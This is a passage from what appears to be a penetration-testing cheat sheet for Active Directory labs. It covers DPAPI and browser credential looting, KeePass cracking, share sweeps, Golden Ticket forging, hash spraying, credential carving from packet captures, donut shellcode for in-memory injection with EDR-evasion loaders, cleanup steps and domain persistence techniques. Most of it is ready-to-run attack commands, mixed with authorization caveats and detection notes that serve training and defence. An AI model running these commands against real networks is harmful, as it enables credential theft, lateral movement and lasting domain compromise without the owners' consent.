    814 DPAPI ([T1555.004](https://attack.mitre.org/techniques/T1555/004/)) protects every "saved password" on Windows — RDP saved creds, scheduled-task passwords, Chrome/Edge logins, WiFi keys, vaults. Two unlock paths: per-user masterkeys (decrypt with the user's password/hash/SID), or the **domain DPAPI backup key** (from a DC, decrypts *any* domain user's masterkey).
    815 
    816 > [!tools] Stage this
    817 > [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) — GhostPack DPAPI toolkit: masterkey triage, blob decryption, Chrome/vault/SCCM extraction.
    818 >
    819 > [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc))
    820 
    821 ```bash
    822 nxc smb $IP -u "$U" -p "$P" --dpapi                 # decrypt saved creds/secrets
    823 nxc smb $IP -u "$U" -p "$P" --dpapi cookies         # browser cookies
    824 nxc smb $IP -u "$U" -p "$P" --sam --lsa --dpapi     # one-shot everything
    825 # Manual masterkey → credential blob chain:
    826 impacket-dpapi masterkey -file masterkey -sid <SID> -password "$P"
    827 impacket-dpapi credential -file <cred_blob> -key <decrypted_masterkey>
    828 ```
    829 ```text
    830 :: SharpDPAPI on-host:
    831 SharpDPAPI.exe masterkeys /target:C:\Users\*\AppData\Roaming\Microsoft\Protect\* /password:"$P"
    832 SharpDPAPI.exe credentials /password:"$P"          :: decrypt Credential blobs with masterkeys
    833 SharpDPAPI.exe vaults /password:"$P"               :: Windows Vault entries
    834 SharpDPAPI.exe chrome /password:"$P"               :: Chrome logins + cookies
    835 SharpDPAPI.exe sccm                                :: SCCM NAA creds (if the box is an SCCM client)
    836 :: DOMAIN backup key path (needs DA — grab the PVK once, decrypt everywhere, forever):
    837 SharpDPAPI.exe backupkey /server:$DC /file:dpapi_backup.pvk
    838 SharpDPAPI.exe masterkeys /pvk:dpapi_backup.pvk /target:C:\Users\victim\...\Protect\{GUID}
    839 ```
    840 
    841 > [!tip] Pro-move
    842 > DPAPI is where the loot the user thought was "saved safely" lives — RDP creds, scheduled-task passwords, WiFi, Chrome logins. Always run `--dpapi` on a `(Pwn3d!)` box; it often hands you the next hop's password in cleartext. The **backupkey PVK** is a stealthy, reboot-surviving domain secret: one grab as DA, then offline decryption of any domain user's DPAPI blobs without touching a DC again. Detection: LSASS/DC RPC access + 4662 on `secret` attributes isn't the tell here — watch for mass reads of `...\Microsoft\Protect\` (Sysmon 11 / 4663).
    843 
    844 #### Browser creds & LaZagne — the everything-extractor
    845 
    846 > [!tools] Stage this
    847 > [LaZagne](https://github.com/AlessandroZ/LaZagne) — local credential looting: browsers, mail, WiFi, Git, VPN clients, chats, sysadmin tools.
    848 >
    849 > [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc))
    850 
    851 ```batch
    852 LaZagne.exe all                     :: everything it can find, prints to console
    853 LaZagne.exe all -oN -output C:\Temp :: write plain output to a dir (exfil + delete after)
    854 LaZagne.exe browsers                :: just browser creds
    855 ```
    856 
    857 > [!warning] Watch out
    858 > Chrome ≥ v127 (mid-2024+) uses **App-Bound Encryption** — old "grab Login Data + Local State" tricks fail for the newest builds; DPAPI + running-as-the-user approaches still matter. LaZagne is signatured everywhere; expect to run it from memory or accept the detection in a lab. Check browser profile paths: `C:\Users\*\AppData\Local\Google\Chrome\User Data\`, `...\Microsoft\Edge\User Data\`, `...\Mozilla\Firefox\Profiles\`. ([T1555.003](https://attack.mitre.org/techniques/T1555/003/))
    859 
    860 #### KeePass — the password manager jackpot
    861 
    862 Admins store the good stuff in KeePass. Find the `.kdbx`, and hunt for a keyfile or recover the master password.
    863 
    864 ```bash
    865 # On the box (or via nxc spider):
    866 nxc smb $IP -u "$U" -p "$P" -M spider_plus                       # map downloadable files
    867 # search shares/host for *.kdbx, *.keyx, KeePass.config.xml (can pin the database path)
    868 # Offline — convert to a crackable hash and feed Stage 08:
    869 keepass2john Database.kdbx > keepass.hash
    870 hashcat -m 13400 keepass.hash rockyou.txt
    871 ```
    872 
    873 > [!tip] CPTS
    874 > [keepass2john](https://github.com/openwall/john) (john jumbo) handles kdbx; hashcat mode **13400**. The crack is slow by design (AES-KDF rounds) — build a targeted wordlist from the org's naming/culture (CeWL against their intranet + rules) rather than raw rockyou. Cross-link: [11 - Stage 08 - Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting).
    875 
    876 #### Files & shares — Snaffler sweeps the domain for me
    877 
    878 > [!tools] Stage this
    879 > [Snaffler](https://github.com/SnaffCon/Snaffler) — enumerate AD computers, find readable shares, grep file names/contents for credential patterns.
    880 >
    881 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
    882 
    883 ```text
    884 Snaffler.exe -s -o snaffler.log                 :: domain-wide share+content hunt
    885 Snaffler.exe -s -d $DOMAIN -c $DC -o loot.txt   :: explicit domain/DC
    886 Snaffler.exe -s -i C:\Shares -o local.log       :: single path instead of domain enum
    887 ```
    888 ```bash
    889 # Linux-side equivalents for quick manual hunts:
    890 nxc smb $IP/24 -u "$U" -p "$P" --shares
    891 smbclient "//$IP/Department Shares" -U "$DOMAIN/$U%$P" -c 'recurse;ls'
    892 ```
    893 
    894 > [!tip] What Snaffler finds that pays
    895 > `web.config` (IIS app-pool DB creds), `unattend.xml`/`sysprep.inf` (local admin), `*.ps1` deploy scripts with embedded service accounts, `.rdp` files, `id_rsa`, `appsettings.json` connection strings, `KeepNotes.kdbx`, VPN profiles. It is **loud** (opens thousands of files over SMB — 4663 storm if audited); scope it with `-i` to likely shares in monitored engagements. [PowerHuntShares](https://github.com/NetSPI/PowerHuntShares) is the PowerShell alternative.
    896 
    897 #### Quick-hit loot checklist (per pwned Windows host)
    898 
    899 ```powershell
    900 # Registry — saved creds, autologon, SNMP, VNC/putty:
    901 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "pass"
    902 reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
    903 reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
    904 reg save HKLM\SAM C:\Temp\SAM & reg save HKLM\SYSTEM C:\Temp\SYSTEM   # offline secretsdump later
    905 # cmdkey — Windows Credential Manager entries (usable with runas /savecred targets):
    906 cmdkey /list
    907 # WiFi profiles (ssid + psk in cleartext):
    908 netsh wlan show profile
    909 netsh wlan show profile name="CorpWiFi" key=clear
    910 # PowerShell history — admins paste creds here CONSTANTLY:
    911 type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    912 # IIS web.config (app pool / connection strings):
    913 type C:\inetpub\wwwroot\web.config
    914 # Recycle bin (deleted ≠ gone):
    915 dir /s /a C:\$Recycle.Bin
    916 # Email — local .pst/.ost stores (Outlook cached mail = intel + creds):
    917 dir /s C:\Users\*\AppData\Local\Microsoft\Outlook\*.ost C:\Users\*\Documents\*Outlook*.pst
    918 # Certificates & keys (cross-link Stage 07 for ADCS-side abuse):
    919 dir /s C:\Users\*\*.pfx C:\Users\*\*.p12 C:\*.pem C:\*.key 2>nul
    920 # Cloud CLI caches:
    921 dir %USERPROFILE%\.aws %USERPROFILE%\.azure %USERPROFILE%\.kube 2>nul
    922 ```
    923 
    924 > [!tip] Certificates as loot
    925 > Exported `.pfx`/`.p12` user or machine certs = PKINIT auth without any password (cert → TGT via [Certipy](https://github.com/ly4k/Certipy) / [Rubeus](https://github.com/GhostPack/Rubeus) `asktgt /pkcs12:`). Full certificate-theft playbook: [Stage 07 — ADCS & Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse). ([T1552.004](https://attack.mitre.org/techniques/T1552/004/))
    926 
    927 > [!note] SessionGopher
    928 > [SessionGopher](https://github.com/Arvanaghi/SessionGopher) automates the PuTTY/WinSCP/FileZilla/RDP-saved-cred portion of this checklist from PowerShell — good for a thorough single-host sweep when Snaffler is share-only.
    929 
    930 #### Post-loot — what the hashes buy
    931 
    932 ```bash
    933 # Golden Ticket from the krbtgt hash → permanent DA
    934 ticketer.py -nthash <KRBTGT_NT> -domain-sid <S-1-5-21-...> -domain "$DOMAIN" Administrator
    935 export KRB5CCNAME=Administrator.ccache && psexec.py -k -no-pass "$DOMAIN/Administrator@$DC"
    936 # Crack the dump
    937 hashcat -m 1000 domain_hashes.ntds rockyou.txt          # NT hashes  (see Hashcat-Cheatsheet)
    938 # Spray extracted hashes for local-admin reuse
    939 nxc smb $IP/24 -u Administrator -H <NThash> --local-auth --continue-on-success
    940 ```
    941 
    942 #### 🩸 Doctrine — re-run BloodHound as each new identity
    943 
    944 Every new account/hash I land **invalidates my current attack-path map**. The disciplined loop:
    945 
    946 1. Loot host → new creds.
    947 2. Re-collect with [SharpHound](https://github.com/SpecterOps/SharpHound) or [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py) **as the new identity** (it may see sessions/shares/ACLs the previous identity couldn't).
    948 3. Re-query [BloodHound CE](https://github.com/SpecterOps/BloodHound) shortest paths **from the new principal**.
    949 4. Spray only what the graph says matters.
    950 
    951 ```bash
    952 nxc ldap $DC -u "$NEW_U" -p "$NEW_P" --bloodhound -c All --dns-server $DC
    953 # or on-host: SharpHound.exe -c All,LoggedOn --zipfilename bh_newident
    954 ```
    955 
    956 > [!tip] Why it matters
    957 > Sessions and local-admin edges are **per-viewpoint** in practice: a box that shows no path from user A often shows a 2-hop path from user B (an RDP session, a readable share with creds, a new ACL). Collection details: [Stage 04 — AD Enumeration](/sheets/pentest-workflow/active-directory-enumeration).
    958 
    959 ---
    960 
    961 ### 📡 Network Credential Harvesting (sniffing and PCAP)
    962 
    963 > [!warning] Scope and data handling
    964 > Packet captures can contain credentials, session material, personal data, and traffic from systems outside the target list. Capture only on an explicitly authorized interface and time window. Encrypt the evidence at rest, record its hash and provenance, and delete it according to the engagement’s retention rules.
    965 
    966 A useful capture point is a host that legitimately sees more than its own traffic: a router, multi-homed server, proxy, span/TAP destination, or a system carrying legacy cleartext protocols. A normal switched endpoint usually sees only its own unicast traffic plus broadcasts and multicasts.
    967 
    968 #### 1. Select the correct interface
    969 
    970 Do not default to `any` until you understand the route. It can combine interfaces, duplicate traffic on some systems, and omit interface-specific link-layer detail.
    971 
    972 ```bash
    973 ip -br address
    974 ip route
    975 ip route get "$IP"
    976 
    977 tcpdump -D
    978 tshark -D
    979 dumpcap -D
    980 ```
    981 
    982 > [!tip] Route-driven choice
    983 > If `ip route get "$IP"` reports `dev ens192`, start with `ens192`. Generate one known connection, then confirm that its packets appear before beginning a long capture.
    984 
    985 #### 2. Reproduce the ILFREIGHT capture safely
    986 
    987 The original scenario works as written. The output is still a PCAP even if the filename has no extension.
    988 
    989 ```bash
    990 sudo tcpdump -i ens192 -s 65535 -w ilfreight_pcap
    991 ```
    992 
    993 A more analysis-friendly version disables name lookups, flushes packets to disk promptly, increases the capture buffer, and excludes the SSH management session:
    994 
    995 ```bash
    996 sudo tcpdump \
    997   -i ens192 \
    998   -nn \
    999   -s 65535 \
   1000   -U \
   1001   -B 4096 \
   1002   -w ilfreight_pcap.pcap \
   1003   'not port 22'
   1004 ```
   1005 
   1006 | Option | Purpose |
   1007 |---|---|
   1008 | `-i ens192` | Capture on the interface that carries the target traffic. |
   1009 | `-nn` | Keep IP addresses and ports numeric; avoids DNS/service-name noise. |
   1010 | `-s 65535` | Retain up to 65,535 bytes per packet—enough for normal IPv4/Ethernet traffic. |
   1011 | `-U` | Write each received packet to the save file promptly. |
   1012 | `-B 4096` | Request a larger kernel capture buffer to reduce drops on a busy link. |
   1013 | `-w file.pcap` | Save raw packets for offline analysis instead of printing decoded lines. |
   1014 
   1015 > [!note] Snaplen
   1016 > On current tcpdump builds, the default snaplen is already larger than 65,535 bytes, and `-s 0` selects that default rather than meaning literally unlimited. Keeping `-s 65535` makes this lab scenario explicit and portable. Do not use a small header-only snaplen when you need application data or transferred objects.
   1017 
   1018 Stop with `Ctrl+C` and read tcpdump’s captured, received-by-filter, and dropped-by-kernel counters. A nonzero drop count means the capture may be incomplete; narrow the filter, enlarge the buffer, or move the collection point.
   1019 
   1020 #### 3. Use capture filters before collecting
   1021 
   1022 `-f` in TShark/Dumpcap and the expression at the end of tcpdump use **BPF capture-filter syntax**. `-Y` uses Wireshark **display-filter syntax** when reading or displaying packets. They are different languages.
   1023 
   1024 **One host or subnet**
   1025 
   1026 ```bash
   1027 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_host.pcap \
   1028   'host 172.16.5.10 and not port 22'
   1029 ```
   1030 
   1031 ```bash
   1032 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_net.pcap \
   1033   'net 172.16.5.0/24 and not port 22'
   1034 ```
   1035 
   1036 **Legacy authentication protocols**
   1037 
   1038 ```bash
   1039 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_legacy.pcap \
   1040   '(tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143 or tcp port 389) and not port 22'
   1041 ```
   1042 
   1043 **Common Windows authentication traffic**
   1044 
   1045 ```bash
   1046 sudo tcpdump -i ens192 -nn -s 65535 -w ilfreight_windows-auth.pcap \
   1047   '(tcp port 88 or udp port 88 or tcp port 389 or tcp port 445) and not port 22'
   1048 ```
   1049 
   1050 > [!tip] Validate the BPF before a long run
   1051 > Replace `-w file.pcap` with `-c 20` to print twenty matching packets, or add `-d` to inspect the compiled BPF without capturing.
   1052 
   1053 #### 4. Bound disk use with a ring buffer
   1054 
   1055 **tcpdump — eight files of roughly 100 MB each**
   1056 
   1057 ```bash
   1058 sudo tcpdump \
   1059   -i ens192 \
   1060   -nn \
   1061   -s 65535 \
   1062   -U \
   1063   -C 100 \
   1064   -W 8 \
   1065   -w ilfreight_ring.pcap \
   1066   'not port 22'
   1067 ```
   1068 
   1069 **Dumpcap — eight files of 102,400 kB each**
   1070 
   1071 ```bash
   1072 sudo dumpcap \
   1073   -i ens192 \
   1074   -s 65535 \
   1075   -B 64 \
   1076   -f 'not port 22' \
   1077   -b filesize:102400 \
   1078   -b files:8 \
   1079   -w ilfreight_ring.pcapng
   1080 ```
   1081 
   1082 > [!info] Why Dumpcap
   1083 > Dumpcap is Wireshark’s dedicated capture helper. When the operating system’s Wireshark group/capability setup permits it, an authorized user can capture without running the full analyzer as root. Its default output is PCAPNG.
   1084 
   1085 #### 5. When tcpdump or root is unavailable
   1086 
   1087 First check what the host already permits; do not grant yourself capture capabilities or bypass file permissions.
   1088 
   1089 ```bash
   1090 command -v tcpdump tshark dumpcap
   1091 getcap "$(command -v tcpdump)" 2>/dev/null
   1092 getcap "$(command -v dumpcap)" 2>/dev/null
   1093 id
   1094 ```
   1095 
   1096 If `dumpcap -D` lists interfaces and the selected interface is accessible, use the same bounded capture without `sudo`:
   1097 
   1098 ```bash
   1099 dumpcap \
   1100   -i ens192 \
   1101   -s 65535 \
   1102   -f 'host 172.16.5.10 and not port 22' \
   1103   -b filesize:102400 \
   1104   -b files:4 \
   1105   -w ilfreight_user.pcapng
   1106 ```
   1107 
   1108 If packet capture is not permitted, use an approved alternative:
   1109 
   1110 - Analyze an existing readable PCAP/PCAPNG supplied by the operator.
   1111 - Ask the system or network owner to collect a tightly filtered capture.
   1112 - Use connection metadata (`ss -tpna`, `ip neigh`, firewall logs, proxy logs, application logs, and relevant `journalctl` units). This does **not** recover packet payloads.
   1113 - Stream an authorized capture from a remote collection point so the PCAP is written locally:
   1114 
   1115 ```bash
   1116 ssh analyst@pivot \
   1117   'sudo tcpdump -i ens192 -nn -U -s 65535 -w - "host 172.16.5.10 and not port 22"' \
   1118   > ilfreight_remote.pcap
   1119 ```
   1120 
   1121 > [!warning] SSH stream
   1122 > Keep `-U` so packets are flushed through the pipe. Exclude the management flow or capture a specific host; otherwise the SSH stream can capture itself and grow rapidly.
   1123 
   1124 #### 6. Windows fallback with Pktmon
   1125 
   1126 Pktmon is built into current supported Windows client/server releases. Run these from an elevated **Command Prompt**. Each named filter is an OR branch; conditions inside one filter must all match. Pktmon does not distinguish source from destination for its IP and port filters.
   1127 
   1128 **Clear old filters and add narrow filters**
   1129 
   1130 ```batch
   1131 pktmon filter remove
   1132 pktmon filter add ILF-LDAP -i 172.16.5.10 -t TCP -p 389
   1133 pktmon filter add ILF-SMB  -i 172.16.5.10 -t TCP -p 445
   1134 pktmon filter list
   1135 ```
   1136 
   1137 **Capture complete packets to a bounded circular ETL**
   1138 
   1139 ```batch
   1140 mkdir C:\Temp 2>nul
   1141 pktmon start --capture --pkt-size 0 --file-name C:\Temp\ilfreight.etl --file-size 512 --log-mode circular
   1142 pktmon status
   1143 pktmon counters
   1144 ```
   1145 
   1146 Reproduce the authorized traffic, then stop and convert it:
   1147 
   1148 ```batch
   1149 pktmon stop
   1150 pktmon etl2pcap C:\Temp\ilfreight.etl --out C:\Temp\ilfreight.pcapng
   1151 ```
   1152 
   1153 > [!note] Pktmon conversion
   1154 > `--pkt-size 0` records the full packet; the default is only 128 bytes. ETL preserves Pktmon’s component/drop context, while PCAPNG is easier to analyze in Wireshark. Conversion loses some component and drop distinctions, so retain the original ETL with the evidence.
   1155 
   1156 #### 7. Triage and reduce the capture offline
   1157 
   1158 Start with metadata before searching for credential material.
   1159 
   1160 ```bash
   1161 capinfos ilfreight_pcap.pcap
   1162 
   1163 tshark -r ilfreight_pcap.pcap -q -z io,phs
   1164 tshark -r ilfreight_pcap.pcap -q -z endpoints,ip
   1165 tshark -r ilfreight_pcap.pcap -q -z conv,tcp
   1166 ```
   1167 
   1168 Write only the packets that match a display filter:
   1169 
   1170 ```bash
   1171 tshark \
   1172   -r ilfreight_pcap.pcap \
   1173   -Y 'ip.addr == 172.16.5.10 && tcp.port == 389' \
   1174   -w ilfreight_ldap-only.pcapng
   1175 ```
   1176 
   1177 Trim by time, remove exact duplicates, or merge rotated files:
   1178 
   1179 ```bash
   1180 editcap \
   1181   -A '2026-08-27 10:00:00' \
   1182   -B '2026-08-27 10:15:00' \
   1183   ilfreight_pcap.pcap \
   1184   ilfreight_15min.pcapng
   1185 ```
   1186 
   1187 ```bash
   1188 editcap -d ilfreight_pcap.pcap ilfreight_deduplicated.pcapng
   1189 mergecap -w ilfreight_combined.pcapng ilfreight_ring*.pcap
   1190 ```
   1191 
   1192 #### 8. Carve protocol evidence with TShark
   1193 
   1194 Use `-T fields` for compact, tab-separated evidence. Add `-E header=y -E separator=, -E quote=d` when you want CSV.
   1195 
   1196 **FTP and HTTP Basic candidates**
   1197 
   1198 ```bash
   1199 tshark -r ilfreight_pcap.pcap \
   1200   -Y 'ftp.request.command == "USER" || ftp.request.command == "PASS"' \
   1201   -T fields \
   1202   -e frame.number -e ip.src -e ip.dst \
   1203   -e ftp.request.command -e ftp.request.arg
   1204 ```
   1205 
   1206 ```bash
   1207 tshark -r ilfreight_pcap.pcap \
   1208   -Y 'http.authorization' \
   1209   -T fields \
   1210   -e frame.number -e ip.src -e http.host -e http.authorization
   1211 ```
   1212 
   1213 **LDAP simple bind and cleartext mail protocols**
   1214 
   1215 ```bash
   1216 tshark -r ilfreight_pcap.pcap \
   1217   -Y 'ldap.simple' \
   1218   -T fields \
   1219   -e frame.number -e ip.src -e ip.dst -e ldap.simple
   1220 ```
   1221 
   1222 ```bash
   1223 tshark -r ilfreight_pcap.pcap \
   1224   -Y 'pop.request.command == "USER" || pop.request.command == "PASS"' \
   1225   -T fields \
   1226   -e frame.number -e ip.src -e pop.request.command -e pop.request.parameter
   1227 ```
   1228 
   1229 ```bash
   1230 tshark -r ilfreight_pcap.pcap \
   1231   -Y 'imap.request.username || imap.request.password' \
   1232   -T fields \
   1233   -e frame.number -e imap.request.username -e imap.request.password
   1234 ```
   1235 
   1236 ```bash
   1237 tshark -r ilfreight_pcap.pcap \
   1238   -Y 'smtp.auth.username || smtp.auth.password || smtp.auth.username_password' \
   1239   -T fields \
   1240   -e frame.number -e smtp.auth.username \
   1241   -e smtp.auth.password -e smtp.auth.username_password
   1242 ```
   1243 
   1244 **Telnet and SNMP**
   1245 
   1246 ```bash
   1247 tshark -r ilfreight_pcap.pcap \
   1248   -Y 'telnet.data' \
   1249   -T fields \
   1250   -e frame.number -e ip.src -e ip.dst -e telnet.data
   1251 ```
   1252 
   1253 ```bash
   1254 tshark -r ilfreight_pcap.pcap \
   1255   -Y 'snmp.community' \
   1256   -T fields \
   1257   -e frame.number -e ip.src -e ip.dst -e snmp.community
   1258 ```
   1259 
   1260 **NTLM and Kerberos identity evidence**
   1261 
   1262 ```bash
   1263 tshark -r ilfreight_pcap.pcap \
   1264   -Y 'ntlmssp.auth.username' \
   1265   -T fields \
   1266   -e frame.number -e ip.src -e ip.dst \
   1267   -e ntlmssp.auth.domain -e ntlmssp.auth.username \
   1268   -e ntlmssp.auth.ntresponse
   1269 ```
   1270 
   1271 ```bash
   1272 tshark -r ilfreight_pcap.pcap \
   1273   -Y 'kerberos.CNameString' \
   1274   -T fields \
   1275   -e frame.number -e ip.src -e ip.dst -e kerberos.CNameString
   1276 ```
   1277 
   1278 > [!note] Encrypted protocols
   1279 > HTTPS, LDAPS, SMB encryption, and modern mail protocols protected by TLS do not expose cleartext credentials without legitimate session keys. NTLM and Kerberos fields can identify authentication activity, but a single TShark row is not necessarily a complete crackable hash.
   1280 
   1281 #### 9. Export transferred objects and run credential parsers
   1282 
   1283 List the object exporters supported by the installed TShark build before choosing one.
   1284 
   1285 ```bash
   1286 tshark --export-objects help
   1287 
   1288 mkdir -p carved-http carved-smb
   1289 tshark -r ilfreight_pcap.pcap --export-objects http,carved-http
   1290 tshark -r ilfreight_pcap.pcap --export-objects smb,carved-smb
   1291 ```
   1292 
   1293 Use dedicated parsers as a second pass, not as a substitute for validating packet numbers and protocol context.
   1294 
   1295 ```bash
   1296 pcredz -f ilfreight_pcap.pcap
   1297 net-creds.py -p ilfreight_pcap.pcap
   1298 ```
   1299 
   1300 > [!warning] Treat parser output as unverified
   1301 > Duplicate sessions, retransmissions, malformed traffic, and dissector assumptions can produce incomplete or misleading results. Tie every reported secret or challenge-response artifact back to its source packet and authorized target before testing it.
   1302 
   1303 **Command references:** [tcpdump manual](https://github.com/the-tcpdump-group/tcpdump/blob/master/tcpdump.1.in) · [Dumpcap manual](https://www.wireshark.org/docs/man-pages/dumpcap.html) · [TShark manual](https://www.wireshark.org/docs/man-pages/tshark.html) · [Pktmon start](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon-start) · [Pktmon filter syntax](https://learn.microsoft.com/en-us/windows-server/networking/technologies/pktmon/pktmon-syntax) · [Pktmon ETL-to-PCAPNG](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon-etl2pcap)
   1304 
   1305 ---
   1306 
   1307 ### 🍩 Custom tooling — donut (PE → shellcode)
   1308 
   1309 When lateral movement needs an in-memory payload (e.g. injecting my own PE into a remote process instead of dropping an EXE that AV will eat), [donut](https://github.com/TheWover/donut) converts EXE/DLL/.NET assemblies into position-independent shellcode.
   1310 
   1311 > [!tools] Stage this
   1312 > donut v1.1 (Windows + Linux builds in the zip):
   1313 >
   1314 > [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc))
   1315 
   1316 ```bash
   1317 # One-liner use case: turn Rubeus.exe into injectable shellcode
   1318 donut -a 3 -f Rubeus.exe -o rubeus.bin              # -a 3 = amd64+x86, default format .bin
   1319 # Then inject rubeus.bin via my C2's shellcode-injection primitive — no EXE ever touches disk
   1320 ```
   1321 
   1322 > [!warning] Watch out
   1323 > Donut output is **not** invisible — it has known signatures and is flagged by modern EDR; combine with a loader/encryptor ([ScareCrow](https://github.com/optiv/ScareCrow), [Freeze](https://github.com/Tylous/Freeze)) in monitored labs. In HTB/CPTS labs it's usually fine as-is. Match `-a` to the target arch, and keep the payload .NET version-compatible with the target (`-r` / runtime notes in the repo).
   1324 
   1325 ---
   1326 
   1327 ### 🧹 OPSEC & Cleanup — leave no (unnecessary) trace
   1328 
   1329 Lateral movement is the noisiest stage. Every method leaves a different fingerprint — log what I did per host as I go, then reverse it.
   1330 
   1331 #### Per-method artifact & detection map
   1332 
   1333 | Method | Key artifacts left on target | Primary event IDs / telemetry | OPSEC rating |
   1334 | :-- | :-- | :-- | :-- |
   1335 | psexec.py / Sysinternals PsExec | EXE in ADMIN$, installed service | **7045** service install, 4697, 4624 T3, 4672 | 🔴 Loud |
   1336 | smbexec.py | Temp `.bat`/output in ADMIN$, service per command | 7045/4697 (repeated), 4624 T3 | 🟠 Medium-loud |
   1337 | wmiexec.py / SharpWMI | None persistent; `wmiprvse.exe` children | 4688 (parent=wmiprvse), 4624 T3 | 🟢 Quietest exec |
   1338 | atexec.py | Scheduled task (created+deleted), output file in ADMIN$ | 4698/4702 (if audited), 4688, 4624 T3 | 🟡 Medium |
   1339 | dcomexec.py / mmcexec | None; COM child of mmc/explorer | 4688, 4624 T3 | 🟢 Quiet-ish |
   1340 | evil-winrm / PSRemoting | `wsmprovhost.exe` runspace, PS history if interactive | 4624 T3, 4688, **4103/4104** script-block logs | 🟡 Medium |
   1341 | RDP (xfreerdp) | Interactive session, session shadowing if hijack | 4624 **T10**, 4778/4779 (reconnect), TermService 21/23/25 | 🔴 Very visible to a live user |
   1342 | sekurlsa::pth + native tool | None new; NewCredentials logon | 4624 **T9**, 4672 | 🟡 Medium |
   1343 | DCSync | None on DC (pure RPC) | **4662** (replication from non-DC) | 🟢 Quiet (if targeted) |
   1344 | NTDS via VSS | Shadow copy (deleted), copies in C:\Temp | 8222 (VSS), 4688 | 🟠 Medium-loud |
   1345 | Snaffler / share sweeps | None (read-only) | 4663 mass file reads (if SACLs), 5140/5145 share access | 🟠 Loud at scale |
   1346 | ligolo-ng / chisel agent | Agent binary on disk, TLS session | Netflow: long-lived TLS to odd port; EDR binary signatures | 🟡 Medium |
   1347 | netsh portproxy | **Persistent** portproxy rule | Rule visible in `show v4tov4`; iphlpsvc dependency | 🟡 Quiet but persistent |
   1348 | dnscat2 | Client script/binary | DNS log anomaly (TXT volume to one domain) | 🟠 Loud in DNS analytics |
   1349 
   1350 #### Cleanup runbook (per host, before I move on)
   1351 
   1352 ```powershell
   1353 # 1. Remove services I created (psexec-style names are random — I logged them):
   1354 sc.exe stop <svcname>; sc.exe delete <svcname>
   1355 # 2. Remove scheduled tasks (atexec / my own):
   1356 schtasks /delete /tn "<taskname>" /f
   1357 # 3. Delete dropped files: tools, output files, dumps, webshells, tunnel webshells:
   1358 del C:\Temp\m.exe C:\Temp\ntds.dit C:\Temp\SYSTEM C:\Windows\Temp\agent.exe
   1359 # 4. Revert config changes I made (Restricted Admin for RDP PtH!):
   1360 reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
   1361 # 5. Remove netsh portproxy rules (persistent across reboots!):
   1362 netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=<addr>
   1363 # 6. Remove ligolo listeners:  listener_del <id>   (in the proxy CLI)
   1364 # 7. Purge my tickets/creds from sessions I spawned:
   1365 klist purge    # on hosts where I ran Rubeus ptt
   1366 # 8. Delete shadow copies I created (VSS leftovers are a beacon):
   1367 vssadmin delete shadows /shadow={id} /quiet
   1368 ```
   1369 
   1370 > [!warning] Hard rules
   1371 > - **Timestomping: don't.** Modern EDR (USN journal, `$LogFile`, ShimCache, Prefetch, Amcache) catches timestamp manipulation trivially, and attempting it is itself a high-severity detection signal. Touch files only in `C:\Windows\Temp`-style locations and delete them.
   1372 > - **Log tampering (clearing/wevtutil, deleting Security.evtx) is out of scope** for CPTS/HTB engagements and prohibited on real pentests without explicit written authorization — it destroys evidence, is easily detected (1102 event-log-cleared, gaps in forwarding), and can break the client's audit trail. Stealth comes from *not generating* noise (wmiexec over psexec, targeted DCSync over full dumps), never from deleting logs.
   1373 > - **Session hygiene:** close RDP/WinRM/SSH sessions cleanly (log off, don't just close the window — `logoff <id>`), kill tmux/screen/agent processes on pivots, and verify listeners are down (`ss -lntp`, `netstat -ano | findstr LISTEN`).
   1374 
   1375 ---
   1376 
   1377 ### 🪤 Post-DA: persistence pointers
   1378 
   1379 **What to look for** → you have Domain Admin / KRBTGT. Persistence is out of scope for most HTB flags (grab the hash, own the box, done), but for AD lab/CPTS completeness these are the durable footholds — each has a full note:
   1380 
   1381 - **Golden Ticket** — forge TGTs with the KRBTGT hash (see STAGE 5). 🟠 Attack
   1382 - **DCShadow** — register a rogue DC and push attribute changes via replication (`lsadump::dcshadow /object:.. /attribute:.. /value:..` → `/push`). Stealth companion to DCSync. 🔵 Attack
   1383 - **AdminSDHolder ACL** — self-healing backdoor ACE on all protected objects (covered in STAGE 6). 🟡 Attack
   1384 - **Skeleton Key** — patch LSASS on the DC so a master password works for everyone. 🟤 Attack
   1385 - **DSRM backdoor** / **SID History injection** / **Malicious GPO**. 🟤 Attack · 🟤 Attack · 🟤 Attack
   1386 - **SCCM/MECM** (enterprise labs) — NAA creds, DPAPI client secrets: `SharpSCCM.exe local naa -m wmi`, `SharpDPAPI.exe sccm`. 🔷 Attack
   1387 - **DPAPI backup key** (above) — domain-wide offline decryption, survives reboots, no DC re-touch.
